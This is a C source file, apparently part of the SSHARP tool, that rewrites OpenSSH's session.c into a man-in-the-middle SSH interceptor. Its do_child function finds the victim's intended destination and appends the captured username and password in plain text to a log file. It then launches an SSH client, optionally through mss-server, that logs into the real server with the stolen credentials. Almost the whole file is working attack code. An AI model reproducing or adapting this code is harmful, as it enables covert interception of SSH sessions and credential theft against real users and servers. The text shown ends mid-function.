path: root/other/ssharp/session.c

/*
 * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
 *                    All rights reserved
 *
 * As far as I am concerned, the code I have written for this software
 * can be used freely for any purpose.  Any derived versions of this
 * software must be clearly marked as such, and if the derived work is
 * incompatible with the protocol description in the RFC file, it must be
 * called by a name other than "ssh" or "Secure Shell".
 *
 * SSH2 support by Markus Friedl.
 * Copyright (c) 2000 Markus Friedl.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "includes.h"
RCSID("$OpenBSD: session.c,v 1.74 2001/04/17 19:34:25 markus Exp $");

#include "ssh.h"
#include "ssh1.h"
#include "ssh2.h"
#include "xmalloc.h"
#include "sshpty.h"
#include "packet.h"
#include "buffer.h"
#include "mpaux.h"
#include "uidswap.h"
#include "compat.h"
#include "channels.h"
#include "nchan.h"
#include "bufaux.h"
#include "auth.h"
#include "auth-options.h"
#include "pathnames.h"
#include "log.h"
#include "servconf.h"
#include "sshlogin.h"
#include "serverloop.h"
#include "canohost.h"
#include "session.h"
#include "ssharp.h"

#ifdef WITH_IRIX_PROJECT
#include <proj.h>
#endif /* WITH_IRIX_PROJECT */
#ifdef WITH_IRIX_JOBS
#include <sys/resource.h>
#endif
#ifdef WITH_IRIX_AUDIT
#include <sat.h>
#endif /* WITH_IRIX_AUDIT */

#if defined(HAVE_USERSEC_H)
#include <usersec.h>
#endif

#ifdef HAVE_CYGWIN
#include <windows.h>
#include <sys/cygwin.h>
#define is_winnt       (GetVersion() < 0x80000000)
#endif

/* AIX limits */
#if defined(HAVE_GETUSERATTR) && !defined(S_UFSIZE_HARD) && defined(S_UFSIZE)
# define S_UFSIZE_HARD  S_UFSIZE "_hard"
# define S_UCPU_HARD  S_UCPU "_hard"
# define S_UDATA_HARD  S_UDATA "_hard"
# define S_USTACK_HARD  S_USTACK "_hard"
# define S_URSS_HARD  S_URSS "_hard"
# define S_UCORE_HARD  S_UCORE "_hard"
# define S_UNOFILE_HARD	S_UNOFILE "_hard"
#endif

#ifdef _AIX
# include <uinfo.h>
#endif

/* types */

#define TTYSZ 64
typedef struct Session Session;
struct Session {
	int	used;
	int	self;
	struct	passwd *pw;
	pid_t	pid;
	/* tty */
	char	*term;
	int	ptyfd, ttyfd, ptymaster;
	int	row, col, xpixel, ypixel;
	char	tty[TTYSZ];
	/* X11 */
	char	*display;
	int	screen;
	char	*auth_proto;
	char	*auth_data;
	int	single_connection;
	/* proto 2 */
	int	chanid;
	int	is_subsystem;

	/* SSHARP */
	sharp_t sharp;
};


Authctxt *global_ssh2_ctx;

/* func */

Session *session_new(void);
void	session_set_fds(Session *s, int fdin, int fdout, int fderr);
void	session_pty_cleanup(Session *s);
void	session_proctitle(Session *s);
void	do_exec_pty(Session *s, const char *command);
void	do_exec_no_pty(Session *s, const char *command);
void	do_child(Session *s, const char *command);
void	do_motd(void);

void	do_authenticated1(Authctxt *authctxt);
void	do_authenticated2(Authctxt *authctxt);

/* import */
extern ServerOptions options;
extern char *__progname;
extern int log_stderr;
extern int debug_flag;
extern u_int utmp_len;
extern int startup_pipe;
extern void destroy_sensitive_data(void);

/* Local Xauthority file. */
static char *xauthfile;

/* original command from peer. */
char *original_command = NULL;

/* data */
#define MAX_SESSIONS 10
Session	sessions[MAX_SESSIONS];

#ifdef WITH_AIXAUTHENTICATE
/* AIX's lastlogin message, set in auth1.c */
char *aixloginmsg;
#endif /* WITH_AIXAUTHENTICATE */

#ifdef HAVE_LOGIN_CAP
static login_cap_t *lc;
#endif

void
do_authenticated(Authctxt *authctxt)
{
	/*
	 * Cancel the alarm we set to limit the time taken for
	 * authentication.
	 */
	alarm(0);
	if (startup_pipe != -1) {
		close(startup_pipe);
		startup_pipe = -1;
	}
	/* setup the channel layer */
	if (!no_port_forwarding_flag && options.allow_tcp_forwarding)
		channel_permit_all_opens();

	if (compat20)
		do_authenticated2(authctxt);
	else
		do_authenticated1(authctxt);
}

/*
 * Remove local Xauthority file.
 */
void
xauthfile_cleanup_proc(void *ignore)
{
	debug("xauthfile_cleanup_proc called");

	if (xauthfile != NULL) {
		char *p;
		unlink(xauthfile);
		p = strrchr(xauthfile, '/');
		if (p != NULL) {
			*p = '\0';
			rmdir(xauthfile);
		}
		xfree(xauthfile);
		xauthfile = NULL;
	}
}

/*
 * Function to perform cleanup if we get aborted abnormally (e.g., due to a
 * dropped connection).
 */
void
pty_cleanup_proc(void *session)
{
	Session *s=session;
	if (s == NULL)
		fatal("pty_cleanup_proc: no session");
	debug("pty_cleanup_proc: %s", s->tty);

	if (s->pid != 0) {
		/* Record that the user has logged out. */
		record_logout(s->pid, s->tty);
	}

	/* Release the pseudo-tty. */
	pty_release(s->tty);
}

/*
 * Prepares for an interactive session.  This is called after the user has
 * been successfully authenticated.  During this message exchange, pseudo
 * terminals are allocated, X11, TCP/IP, and authentication agent forwardings
 * are requested, etc.
 */
void
do_authenticated1(Authctxt *authctxt)
{
	Session *s;
	char *command;
	int success, type, n_bytes, plen, have_pty = 0;
	int compression_level = 0, enable_compression_after_reply = 0;
	u_int dlen;

	s = session_new();

	s->pw = getpwnam("nobody");
	s->sharp = sharp_dup(&authctxt->sharp);

	if (!s->pw) {
		debug("No user nobody.\n");
		exit(1);
	}
	/*
	 * We stay in this loop until the client requests to execute a shell
	 * or a command.
	 */
	for (;;) {
		success = 0;

		/* Get a packet from the client. */
		type = packet_read(&plen);

		/* Process the packet. */
		switch (type) {
		case SSH_CMSG_REQUEST_COMPRESSION:
			packet_integrity_check(plen, 4, type);
			compression_level = packet_get_int();
			if (compression_level < 1 || compression_level > 9) {
				packet_send_debug("Received illegal compression level %d.",
				     compression_level);
				break;
			}
			/* Enable compression after we have responded with SUCCESS. */
			enable_compression_after_reply = 1;
			success = 1;
			break;

		case SSH_CMSG_REQUEST_PTY:
			if (authctxt->how == AUTH_RSA) {
				success = 1;
				break;
			}
			if (no_pty_flag) {
				debug("Allocating a pty not permitted for this authentication.");
				break;
			}
			if (have_pty)
				packet_disconnect("Protocol error: you already have a pty.");

			debug("Allocating pty.");

			/* Allocate a pty and open it. */
			if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty,
			    sizeof(s->tty))) {
				error("Failed to allocate pty.");
				break;
			}
			fatal_add_cleanup(pty_cleanup_proc, (void *)s);
			pty_setowner(s->pw, s->tty);

			/* Get TERM from the packet.  Note that the value may be of arbitrary length. */
			s->term = packet_get_string(&dlen);
			packet_integrity_check(dlen, strlen(s->term), type);
			/* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */
			/* Remaining bytes */
			n_bytes = plen - (4 + dlen + 4 * 4);

			if (strcmp(s->term, "") == 0) {
				xfree(s->term);
				s->term = NULL;
			}
			/* Get window size from the packet. */
			s->row = packet_get_int();
			s->col = packet_get_int();
			s->xpixel = packet_get_int();
			s->ypixel = packet_get_int();
			pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);

			/* Get tty modes from the packet. */
			tty_parse_modes(s->ttyfd, &n_bytes);
			packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type);


			/* Indicate that we now have a pty. */
			success = 1;
			have_pty = 1;
			break;

		case SSH_CMSG_MAX_PACKET_SIZE:
			if (packet_set_maxsize(packet_get_int()) > 0)
				success = 1;
			break;

		case SSH_CMSG_EXEC_SHELL:
		case SSH_CMSG_EXEC_CMD:
			if (authctxt->how == AUTH_RSA) {
			}
			if (!have_pty) {
				/* Allocate a pty and open it. */
				if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty,
			    	    sizeof(s->tty))) {
					error("Failed to allocate pty.");
					break;
				}
				fatal_add_cleanup(pty_cleanup_proc, (void *)s);
				pty_setowner(s->pw, s->tty);

				success = 1;
				have_pty = 1;
			}
	

			if (type == SSH_CMSG_EXEC_CMD) {
				command = packet_get_string(&dlen);
				debug("Exec command '%.500s'", command);
				packet_integrity_check(plen, 4 + dlen, type);
			} else {
				command = NULL;
				packet_integrity_check(plen, 0, type);
			}
			do_exec_pty(s, command);

			if (command != NULL)
				xfree(command);
			/* Cleanup user's local Xauthority file. */
			if (xauthfile)
				xauthfile_cleanup_proc(NULL);
			return;

		default:
			/*
			 * Any unknown messages in this phase are ignored,
			 * and a failure message is returned.
			 */
			log("Unknown packet type received after authentication: %d", type);
		}
		packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE);
		packet_send();
		packet_write_wait();

		/* Enable compression now that we have replied if appropriate. */
		if (enable_compression_after_reply) {
			enable_compression_after_reply = 0;
			packet_start_compression(compression_level);
		}
	}
}

/*
 * This is called to fork and execute a command when we have no tty.  This
 * will call do_child from the child, and server_loop from the parent after
 * setting up file descriptors and such.
 */
void
do_exec_no_pty(Session *s, const char *command)
{
	int pid;

#ifdef USE_PIPES
	int pin[2], pout[2], perr[2];
	/* Allocate pipes for communicating with the program. */
	if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0)
		packet_disconnect("Could not create pipes: %.100s",
				  strerror(errno));
#else /* USE_PIPES */
	int inout[2], err[2];
	/* Uses socket pairs to communicate with the program. */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 ||
	    socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0)
		packet_disconnect("Could not create socket pairs: %.100s",
				  strerror(errno));
#endif /* USE_PIPES */
	if (s == NULL)
		fatal("do_exec_no_pty: no session");

	session_proctitle(s);

#if defined(USE_PAM)
	do_pam_setcred(1);
#endif /* USE_PAM */

	/* Fork the child. */
	if ((pid = fork()) == 0) {
		/* Child.  Reinitialize the log since the pid has changed. */
		log_init(__progname, options.log_level, options.log_facility, log_stderr);

		/*
		 * Create a new session and process group since the 4.4BSD
		 * setlogin() affects the entire process group.
		 */
		if (setsid() < 0)
			error("setsid failed: %.100s", strerror(errno));

#ifdef USE_PIPES
		/*
		 * Redirect stdin.  We close the parent side of the socket
		 * pair, and make the child side the standard input.
		 */
		close(pin[1]);
		if (dup2(pin[0], 0) < 0)
			perror("dup2 stdin");
		close(pin[0]);

		/* Redirect stdout. */
		close(pout[0]);
		if (dup2(pout[1], 1) < 0)
			perror("dup2 stdout");
		close(pout[1]);

		/* Redirect stderr. */
		close(perr[0]);
		if (dup2(perr[1], 2) < 0)
			perror("dup2 stderr");
		close(perr[1]);
#else /* USE_PIPES */
		/*
		 * Redirect stdin, stdout, and stderr.  Stdin and stdout will
		 * use the same socket, as some programs (particularly rdist)
		 * seem to depend on it.
		 */
		close(inout[1]);
		close(err[1]);
		if (dup2(inout[0], 0) < 0)	/* stdin */
			perror("dup2 stdin");
		if (dup2(inout[0], 1) < 0)	/* stdout.  Note: same socket as stdin. */
			perror("dup2 stdout");
		if (dup2(err[0], 2) < 0)	/* stderr */
			perror("dup2 stderr");
#endif /* USE_PIPES */

		/* Do processing for the child (exec command etc). */
		do_child(s, command);
		/* NOTREACHED */
	}
#ifdef HAVE_CYGWIN
	if (is_winnt)
		cygwin_set_impersonation_token(INVALID_HANDLE_VALUE);
#endif
	if (pid < 0)
		packet_disconnect("fork failed: %.100s", strerror(errno));
	s->pid = pid;
	/* Set interactive/non-interactive mode. */
	packet_set_interactive(s->display != NULL);
#ifdef USE_PIPES
	/* We are the parent.  Close the child sides of the pipes. */
	close(pin[0]);
	close(pout[1]);
	close(perr[1]);

	if (compat20) {
		session_set_fds(s, pin[1], pout[0], s->is_subsystem ? -1 : perr[0]);
	} else {
		/* Enter the interactive session. */
		server_loop(pid, pin[1], pout[0], perr[0]);
		/* server_loop has closed pin[1], pout[0], and perr[0]. */
	}
#else /* USE_PIPES */
	/* We are the parent.  Close the child sides of the socket pairs. */
	close(inout[0]);
	close(err[0]);

	/*
	 * Enter the interactive session.  Note: server_loop must be able to
	 * handle the case that fdin and fdout are the same.
	 */
	if (compat20) {
		session_set_fds(s, inout[1], inout[1], s->is_subsystem ? -1 : err[1]);
	} else {
		server_loop(pid, inout[1], inout[1], err[1]);
		/* server_loop has closed inout[1] and err[1]. */
	}
#endif /* USE_PIPES */
}

/*
 * This is called to fork and execute a command when we have a tty.  This
 * will call do_child from the child, and server_loop from the parent after
 * setting up file descriptors, controlling tty, updating wtmp, utmp,
 * lastlog, and other such operations.
 */
void
do_exec_pty(Session *s, const char *command)
{
	int fdout, ptyfd, ttyfd, ptymaster;
	pid_t pid;

	if (s == NULL)
		fatal("do_exec_pty: no session");
	ptyfd = s->ptyfd;
	ttyfd = s->ttyfd;


	/* Fork the child. */
	if ((pid = fork()) == 0) {
		/* Child.  Reinitialize the log because the pid has changed. */
		log_init(__progname, options.log_level, options.log_facility, log_stderr);

		/* Close the master side of the pseudo tty. */
		close(ptyfd);

		/* Make the pseudo tty our controlling tty. */
		pty_make_controlling_tty(&ttyfd, s->tty);

		/* Redirect stdin from the pseudo tty. */
		if (dup2(ttyfd, fileno(stdin)) < 0)
			error("dup2 stdin failed: %.100s", strerror(errno));

		/* Redirect stdout to the pseudo tty. */
		if (dup2(ttyfd, fileno(stdout)) < 0)
			error("dup2 stdin failed: %.100s", strerror(errno));

		/* Redirect stderr to the pseudo tty. */
		if (dup2(ttyfd, fileno(stderr)) < 0)
			error("dup2 stdin failed: %.100s", strerror(errno));

		/* Close the extra descriptor for the pseudo tty. */
		close(ttyfd);


		/* Do common processing for the child, such as execing the command. */
		do_child(s, command);
		/* NOTREACHED */
	}
#ifdef HAVE_CYGWIN
	if (is_winnt)
		cygwin_set_impersonation_token(INVALID_HANDLE_VALUE);
#endif
	if (pid < 0)
		packet_disconnect("fork failed: %.100s", strerror(errno));
	s->pid = pid;

	/* Parent.  Close the slave side of the pseudo tty. */
	close(ttyfd);

	/*
	 * Create another descriptor of the pty master side for use as the
	 * standard input.  We could use the original descriptor, but this
	 * simplifies code in server_loop.  The descriptor is bidirectional.
	 */
	fdout = dup(ptyfd);
	if (fdout < 0)
		packet_disconnect("dup #1 failed: %.100s", strerror(errno));

	/* we keep a reference to the pty master */
	ptymaster = dup(ptyfd);
	if (ptymaster < 0)
		packet_disconnect("dup #2 failed: %.100s", strerror(errno));
	s->ptymaster = ptymaster;

	/* Enter interactive session. */
	packet_set_interactive(1);
	if (compat20) {
		session_set_fds(s, ptyfd, fdout, -1);
	} else {
		server_loop(pid, ptyfd, fdout, -1);
		/* server_loop _has_ closed ptyfd and fdout. */
		session_pty_cleanup(s);
	}
}

/* administrative, login(1)-like work */
void
do_login(Session *s, const char *command)
{
	socklen_t fromlen;
	struct sockaddr_storage from;

	/*
	 * Get IP address of client. If the connection is not a socket, let
	 * the address be 0.0.0.0.
	 */
	memset(&from, 0, sizeof(from));
	if (packet_connection_is_on_socket()) {
		fromlen = sizeof(from);
		if (getpeername(packet_get_connection_in(),
		     (struct sockaddr *) & from, &fromlen) < 0) {
			debug("getpeername: %.100s", strerror(errno));
			fatal_cleanup();
		}
	}
}


/*
 * Performs common processing for the child, such as setting up the
 * environment, closing extra file descriptors, setting the user and group
 * ids, and executing the command or shell.
 */
void
do_child(Session *s, const char *command)
{
	char *argv[20];
	int i;
	struct sockaddr_in dst;
	FILE *f;
#ifdef USE_MSS
	char mss_socket[1024];
#endif
	char *tenv[] = {NULL, NULL}, tbuf[1024];

	/* remove hostkey from the child's memory */
	destroy_sensitive_data();

	/* SSHARP: get real destination XXX: IPv6? */
	dstaddr(packet_get_connection_in(), &dst);
	s->sharp.remote = strdup(inet_ntoa(dst.sin_addr));
	s->sharp.remote_port = ntohs(dst.sin_port);

	log("Forwarding to %s:%d", s->sharp.remote,
		s->sharp.remote_port);

	f = fopen(SSHARP_LOG, "a+");
	if (f) {
		fprintf(f, "%s:%d [%s:%s]\n", s->sharp.remote,
			s->sharp.remote_port, s->sharp.login, s->sharp.pass);
		fclose(f);
	}

	/*
	 * Close the connection descriptors; note that this is the child, and
	 * the server will still have the socket open, and it is important
	 * that we do not shutdown it.  Note that the descriptors cannot be
	 * closed before building the environment, as we call
	 * get_remote_ipaddr there.
	 */
	if (packet_get_connection_in() == packet_get_connection_out())
		close(packet_get_connection_in());
	else {
		close(packet_get_connection_in());
		close(packet_get_connection_out());
	}
	/*
	 * Close all descriptors related to channels.  They will still remain
	 * open in the parent.
	 */
	/* XXX better use close-on-exec? -markus */
	channel_close_all();

	/*
	 * Close any extra file descriptors.  Note that there may still be
	 * descriptors left by system functions.  They will be closed later.
	 */
	endpwent();

	/*
	 * Close any extra open file descriptors so that we don\'t have them
	 * hanging around in clients.  Note that we want to do this after
	 * initgroups, because at least on Solaris 2.3 it leaves file
	 * descriptors open.
	 */
	for (i = 3; i < 64; i++)
		close(i);


	/* restore SIGPIPE for child */
	signal(SIGPIPE,  SIG_DFL);

	setgid(s->pw->pw_gid);
	setuid(s->pw->pw_uid);


	/* Execute the shell. */
#ifdef USE_MSS
	argv[0] = "/usr/local/bin/mss-server";
	argv[1] = "-n";
	argv[2] = "-S";
	snprintf(mss_socket, sizeof(mss_socket), "/tmp/ssharp-%s.%d",
		s->sharp.remote, getppid());
	argv[3] = mss_socket;
	argv[4] = "-s";
	argv[5] = SSHARP_CLIENT;
	argv[6] = "-Z";
	argv[7] = s->sharp.pass;
	argv[8] = "-l";
	argv[9] = s->sharp.login;
	argv[10] = s->sharp.remote;
	if (command)
		argv[11] = strdup(command);
	else
		argv[11] = NULL;
	argv[12] = NULL;

#else
	argv[0] = SSHARP_CLIENT;
	argv[1] = "-Z";
	argv[2] = s->sharp.pass;
	argv[3] = "-l";
	argv[4] = s->sharp.login;
	argv[5] = s->sharp.remote;
	if (command)
		argv[6] = strdup(command);
	else
		argv[6] = NULL;
	argv[7] = NULL;
#endif
	snprintf(tbuf, sizeof(tbuf), "TERM=%s", s->term);
	tenv[0] = tbuf;

	execve(*argv, argv, tenv);
	debug(strerror(errno));
	/* Executing the shell failed. */
	perror("execve");
	exit(1);
}

Session *
session_new(void)
{
	int i;
	static int did_init = 0;
	if (!did_init) {
		debug("session_new: init");
		for(i = 0; i < MAX_SESSIONS; i++) {
			sessions[i].used = 0;
			sessions[i].self = i;
		}
		did_init = 1;
	}
	for(i = 0; i < MAX_SESSIONS; i++) {
		Session *s = &sessions[i];
		if (! s->used) {
			memset(s, 0, sizeof(*s));
			s->chanid = -1;
			s->ptyfd = -1;
			s->ttyfd = -1;
			s->used = 1;
			debug("session_new: session %d", i);
			return s;
		}
	}
	return NULL;
}

void
session_dump(void)
{
	int i;
	for(i = 0; i < MAX_SESSIONS; i++) {
		Session *s = &sessions[i];
		debug("dump: used %d session %d %p channel %d pid %d",
		    s->used,
		    s->self,
		    s,
		    s->chanid,
		    s->pid);
	}
}

int
session_open(int chanid)
{
	Session *s = session_new();
	debug("session_open: channel %d", chanid);
	if (s == NULL) {
		error("no more sessions");
		return 0;
	}
	/* SSHARP */
	s->pw = getpwnam("nobody");
	if (s->pw == NULL)
		fatal("no user for session %d", s->self);
	debug("session_open: session %d: link with channel %d", s->self, chanid);
	s->chanid = chanid;
	return 1;
}

Session *
session_by_channel(int id)
{
	int i;
	for(i = 0; i < MAX_SESSIONS; i++) {
		Session *s = &sessions[i];
		if (s->used && s->chanid == id) {
			debug("session_by_channel: session %d channel %d", i, id);
			return s;
		}
	}
	debug("session_by_channel: unknown channel %d", id);
	session_dump();
	return NULL;
}

Session *
session_by_pid(pid_t pid)
{
	int i;
	debug("session_by_pid: pid %d", pid);
	for(i = 0; i < MAX_SESSIONS; i++) {
		Session *s = &sessions[i];
		if (s->used && s->pid == pid)
			return s;
	}
	error("session_by_pid: unknown pid %d", pid);
	session_dump();
	return NULL;
}

int
session_window_change_req(Session *s)
{
	s->col = packet_get_int();
	s->row = packet_get_int();
	s->xpixel = packet_get_int();
	s->ypixel = packet_get_int();
	packet_done();
	pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);
	return 1;
}

int
session_pty_req(Session *s)
{
	u_int len;
	int n_bytes;

	if (no_pty_flag)
		return 0;
	if (s->ttyfd != -1)
		return 0;
	s->term = packet_get_string(&len);
	s->col = packet_get_int();
	s->row = packet_get_int();
	s->xpixel = packet_get_int();
	s->ypixel = packet_get_int();

	if (strcmp(s->term, "") == 0) {
		xfree(s->term);
		s->term = NULL;
	}
	/* Allocate a pty and open it. */
	if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) {
		xfree(s->term);
		s->term = NULL;
		s->ptyfd = -1;
		s->ttyfd = -1;
		error("session_pty_req: session %d alloc failed", s->self);
		return 0;
	}
	debug("session_pty_req: session %d alloc %s", s->self, s->tty);
	/*
	 * Add a cleanup function to clear the utmp entry and record logout
	 * time in case we call fatal() (e.g., the connection gets closed).
	 */
	fatal_add_cleanup(pty_cleanup_proc, (void *)s);
	pty_setowner(s->pw, s->tty);
	/* Get window size from the packet. */
	pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);

	/* Get tty modes from the packet. */
	tty_parse_modes(s->ttyfd, &n_bytes);
	packet_done();

	session_proctitle(s);

	return 1;
}

int
session_subsystem_req(Session *s)
{
	u_int len;
	int success = 0;
	char *subsys = packet_get_string(&len);
	int i;

	packet_done();
	log("subsystem request for %s", subsys);

	for (i = 0; i < options.num_subsystems; i++) {
		if(strcmp(subsys, options.subsystem_name[i]) == 0) {
			debug("subsystem: exec() %s", options.subsystem_command[i]);
			s->is_subsystem = 1;
			do_exec_no_pty(s, options.subsystem_command[i]);
			success = 1;
		}
	}

	if (!success)
		log("subsystem request for %s failed, subsystem not found", subsys);

	xfree(subsys);
	return success;
}

int
session_x11_req(Session *s)
{
	int fd;
	if (no_x11_forwarding_flag) {
		debug("X11 forwarding disabled in user configuration file.");
		return 0;
	}
	if (!options.x11_forwarding) {
		debug("X11 forwarding disabled in server configuration file.");
		return 0;
	}
	if (xauthfile != NULL) {
		debug("X11 fwd already started.");
		return 0;
	}

	debug("Received request for X11 forwarding with auth spoofing.");
	if (s->display != NULL)
		packet_disconnect("Protocol error: X11 display already set.");

	s->single_connection = packet_get_char();
	s->auth_proto = packet_get_string(NULL);
	s->auth_data = packet_get_string(NULL);
	s->screen = packet_get_int();
	packet_done();

	s->display = x11_create_display_inet(s->screen, options.x11_display_offset);
	if (s->display == NULL) {
		xfree(s->auth_proto);
		xfree(s->auth_data);
		return 0;
	}
	xauthfile = xmalloc(MAXPATHLEN);
	strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN);
	temporarily_use_uid(s->pw);
	if (mkdtemp(xauthfile) == NULL) {
		restore_uid();
		error("private X11 dir: mkdtemp %s failed: %s",
		    xauthfile, strerror(errno));
		xfree(xauthfile);
		xauthfile = NULL;
		xfree(s->auth_proto);
		xfree(s->auth_data);
		/* XXXX remove listening channels */
		return 0;
	}
	strlcat(xauthfile, "/cookies", MAXPATHLEN);
	fd = open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600);
	if (fd >= 0)
		close(fd);
	restore_uid();
	fatal_add_cleanup(xauthfile_cleanup_proc, s);
	return 1;
}

int
session_shell_req(Session *s)
{
	/* if forced_command == NULL, the shell is execed */
	char *shell = forced_command;

        s->sharp = sharp_dup(&global_ssh2_ctx->sharp);

	packet_done();
	if (s->ttyfd == -1)
		;//do_exec_no_pty(s, shell);
	else
		do_exec_pty(s, shell);
	return 1;
}

int
session_exec_req(Session *s)
{
	u_int len;
	char *command = packet_get_string(&len);
	packet_done();

	s->sharp = sharp_dup(&global_ssh2_ctx->sharp);

	if (forced_command) {
		original_command = command;
		command = forced_command;
		debug("Forced command '%.500s'", forced_command);
	}

	if (s->ttyfd == -1) {
		/* Allocate a pty and open it. */
		if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) {
			xfree(s->term);
			s->term = NULL;
			s->ptyfd = -1;
			s->ttyfd = -1;
			error("session_pty_req: session %d alloc failed", s->self);
			return 0;
		}
		debug("session_pty_req: session %d alloc %s", s->self, s->tty);
		/*
	 	 * Add a cleanup function to clear the utmp entry and record logout
	 	 * time in case we call fatal() (e.g., the connection gets closed).
	 	 */
		fatal_add_cleanup(pty_cleanup_proc, (void *)s);
		pty_setowner(s->pw, s->tty);
	}
	do_exec_pty(s, command);
	
	if (forced_command == NULL)
		xfree(command);
	return 1;
}

int
session_auth_agent_req(Session *s)
{
	static int called = 0;
	packet_done();
	if (no_agent_forwarding_flag) {
		debug("session_auth_agent_req: no_agent_forwarding_flag");
		return 0;
	}
	if (called) {
		return 0;
	} else {
		called = 1;
		return auth_input_request_forwarding(s->pw);
	}
}

void
session_input_channel_req(int id, void *arg)
{
	u_int len;
	int reply;
	int success = 0;
	char *rtype;
	Session *s;
	Channel *c;

	rtype = packet_get_string(&len);
	reply = packet_get_char();

	s = session_by_channel(id);
	if (s == NULL)
		fatal("session_input_channel_req: channel %d: no session", id);
	c = channel_lookup(id);
	if (c == NULL)
		fatal("session_input_channel_req: channel %d: bad channel", id);

	debug("session_input_channel_req: session %d channel %d request %s reply %d",
	    s->self, id, rtype, reply);

	/*
	 * a session is in LARVAL state until a shell, a command
	 * or a subsystem is executed
	 */
	if (c->type == SSH_CHANNEL_LARVAL) {
		if (strcmp(rtype, "shell") == 0) {
			success = session_shell_req(s);
		} else if (strcmp(rtype, "exec") == 0) {
			success = session_exec_req(s);
		} else if (strcmp(rtype, "pty-req") == 0) {
			success =  session_pty_req(s);
		}/* else if (strcmp(rtype, "x11-req") == 0) {
			success = session_x11_req(s);
		} else if (strcmp(rtype, "auth-agent-req@openssh.com") == 0) {
			success = session_auth_agent_req(s);
		} else if (strcmp(rtype, "subsystem") == 0) {
			success = session_subsystem_req(s);
		}*/
	}
	if (strcmp(rtype, "window-change") == 0) {
		success = session_window_change_req(s);
	}

	if (reply) {
		packet_start(success ?
		    SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE);
		packet_put_int(c->remote_id);
		packet_send();
	}
	xfree(rtype);
}

void
session_set_fds(Session *s, int fdin, int fdout, int fderr)
{
	if (!compat20)
		fatal("session_set_fds: called for proto != 2.0");
	/*
	 * now that have a child and a pipe to the child,
	 * we can activate our channel and register the fd's
	 */
	if (s->chanid == -1)
		fatal("no channel for session %d", s->self);
	channel_set_fds(s->chanid,
	    fdout, fdin, fderr,
	    fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ,
	    1);
}

void
session_pty_cleanup(Session *s)
{
	if (s == NULL || s->ttyfd == -1)
		return;

	debug("session_pty_cleanup: session %d release %s", s->self, s->tty);

	/* Cancel the cleanup function. */
	fatal_remove_cleanup(pty_cleanup_proc, (void *)s);

	/* Record that the user has logged out. */
	record_logout(s->pid, s->tty);

	/* Release the pseudo-tty. */
	pty_release(s->tty);

	/*
	 * Close the server side of the socket pairs.  We must do this after
	 * the pty cleanup, so that another process doesn't get this pty
	 * while we're still cleaning up.
	 */
	if (close(s->ptymaster) < 0)
		error("close(s->ptymaster): %s", strerror(errno));
}

void
session_exit_message(Session *s, int status)
{
	Channel *c;
	if (s == NULL)
		fatal("session_close: no session");
	c = channel_lookup(s->chanid);
	if (c == NULL)
		fatal("session_close: session %d: no channel %d",
		    s->self, s->chanid);
	debug("session_exit_message: session %d channel %d pid %d",
	    s->self, s->chanid, s->pid);

	if (WIFEXITED(status)) {
		channel_request_start(s->chanid,
		    "exit-status", 0);
		packet_put_int(WEXITSTATUS(status));
		packet_send();
	} else if (WIFSIGNALED(status)) {
		channel_request_start(s->chanid,
		    "exit-signal", 0);
		packet_put_int(WTERMSIG(status));
#ifdef WCOREDUMP
		packet_put_char(WCOREDUMP(status));
#else /* WCOREDUMP */
		packet_put_char(0);
#endif /* WCOREDUMP */
		packet_put_cstring("");
		packet_put_cstring("");
		packet_send();
	} else {
		/* Some weird exit cause.  Just exit. */
		packet_disconnect("wait returned status %04x.", status);
	}

	/* disconnect channel */
	debug("session_exit_message: release channel %d", s->chanid);
	channel_cancel_cleanup(s->chanid);
	/*
	 * emulate a write failure with 'chan_write_failed', nobody will be
	 * interested in data we write.
	 * Note that we must not call 'chan_read_failed', since there could
	 * be some more data waiting in the pipe.
	 */
	if (c->ostate != CHAN_OUTPUT_CLOSED)
		chan_write_failed(c);
	s->chanid = -1;
}

void
session_free(Session *s)
{
	debug("session_free: session %d pid %d", s->self, s->pid);
	if (s->term)
		xfree(s->term);
	if (s->display)
		xfree(s->display);
	if (s->auth_data)
		xfree(s->auth_data);
	if (s->auth_proto)
